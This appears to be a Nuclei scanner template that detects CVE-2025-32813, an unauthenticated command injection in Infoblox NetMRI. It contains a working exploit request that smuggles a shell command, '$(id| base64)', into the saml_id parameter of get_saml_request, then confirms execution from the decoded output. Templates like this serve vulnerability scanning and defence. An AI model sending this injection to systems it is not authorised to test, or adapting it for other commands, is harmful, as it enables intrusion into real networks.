id: CVE-2025-32813

info:
  name: Infoblox NetMRI < 7.6.1 - Unauthenticated Command Injection in get_saml_request
  author: iamnoooob,pdresearch
  severity: high
  description: |
    An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.
  reference:
    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
    - https://github.com/RhinoSecurityLabs/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2025-32813
    cwe-id: CWE-77
    epss-score: 0.03763
    epss-percentile: 0.42887
    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: infoblox
    product: netmri
    fofa-query: "Infoblox NetMRI"
  tags: cve,cve2025,infoblox,netmri,rce

http:
  - raw:
      - |
        GET /webui/application/get_saml_request?saml_id=1%26$(id|%20base64); HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: idcmd
        part: body
        group: 1
        regex:
          - "sh: (.*?): command"
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "sh", ": command not found","message")'
          - 'contains(content_type,"application/json")'
          - 'contains_all(base64_decode(idcmd),"uid=","gid=")'
          - 'status_code==500'
        condition: and
# digest: 4a0a00473045022070c8f2aef2b9727178f179d0ba8a3aba22cb03e4ea9cfc16b1996f72dc197e4e022100ff914c45621290583f48895cc76fcebecc1c2f025fc8905e386b60139f092057:922c64590222798bb761d5b6d8e72950